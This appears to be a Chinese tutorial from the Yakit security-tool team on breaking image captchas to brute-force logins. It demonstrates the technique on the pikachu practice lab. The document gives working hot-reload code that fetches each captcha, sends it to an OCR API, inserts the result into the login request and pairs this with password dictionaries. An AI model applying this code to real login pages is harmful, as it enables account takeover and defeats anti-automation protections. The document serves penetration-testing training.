大家好,这里是在总统选举中惜败的超级牛
虽然没能拿下阿美利卡总统之位
但是牛牛的热加载功能,却能轻松拿下验证码的识别与爆破
验证码一般会在注册、登录等功能,用来防止自动化工具的攻击。一般的验证码生成过程如下图所示:
那么,Yakit的热加载如何进行验证码爆破呢?答案是我们需要让热加载参与到客户端请求验证码、客户端接收验证码和客户端发送验证码的生命周期中。如下图所示:
客户端请求验证码:在这个阶段,我们可以使用poc库发送HTTP请求,请求一份验证码。
客户端接收验证码:这个阶段,在热加载中可以将服务端返回的图片验证码转化为base64形式,方便后续进行ocr图像识别。
理论形成,实践开始。
这里以pikachu靶场中验证码绕过(on server)为例。
我们先随便输入一些内容,并抓包查看内容。可以发现对验证码进行了识别:
首先通过查看验证码链接,知道验证码请求的接口为/pikachu/inc/showvcode.php,因此可以调用该接口得到验证码图像数据,并使用codec将其转化为base64的形式:
rsp, _ := poc.Get(`http://127.0.0.1/pikachu/inc/showvcode.php`)~
imageData = rsp.GetBody()
base64Image := codec.EncodeBase64(imageData)
这里使用验证码识别平台进行识别验证码,将api的token及图像数据作为POST的参数进行发送。api返回的是json格式的数据,这里使用json库获取识别到的信息。并将请求包的__verify__替换为验证码。__verify__为占位符,以方便对参数进行替换。
apiURL = "http://api.example.com/api/ocr" #验证码识别api
token = "xxxxxxx" #toekn
rsp,_=poc.Post(apiURL, poc.appendPostParam("image", base64Image),poc.appendPostParam("token",token))~
result:=json.loads(rsp.GetBody())
code=json.Find(result, `$.data.data`)
req = re.ReplaceAll(req, `__verify__`, code)
完整的热加载代码如下:
// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []byte
beforeRequest = func(req) {
rsp, _ := poc.Get(`http://127.0.0.1/pikachu/inc/showvcode.php`)~
imageData = rsp.GetBody()
base64Image := codec.EncodeBase64(imageData)
apiURL = "http://api.example.com/api/ocr" #验证码识别api
token = "xxxxxxx" #toekn
rsp,_=poc.Post(apiURL, poc.appendPostParam("image", base64Image),poc.appendPostParam("token",token))~
result:=json.loads(rsp.GetBody())
code=json.Find(result, `$.data.data`)
req = re.ReplaceAll(req, `__verify__`, code)
return []byte(req)
}
请求包可以修改成如下,验证码参数使用__verify__作为占位符。然后账号和密码可以设置上自己的字典,并将并发线程设置为1,这样就能够爆破啦。
最后可以看到验证码成功被识别出来
我们在社群接到小伙伴反馈说,所有设置都按照教程设置了,为什么验证码很多都没识别出来呢?这是这位小伙伴的热加载代码:
我们发现它在handle2使用了热加载,但是由于fuzztag会预先进行渲染,渲染的时候会发送一次验证码API,导致验证码刷新,从而使得后续识别到的验证码与session绑定的验证码不一致。
热加载用来验证码识别或者csrf token的思路其实是一样的,只不过多了个ocr的步骤。本文使用的字母与数字组合验证码,但是只要明确热加载参与的生命周期,识别其它验证码思路也是一致的。
《CDSL-YAK 网络安全领域编程语言—从入门到实践》
YAK官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ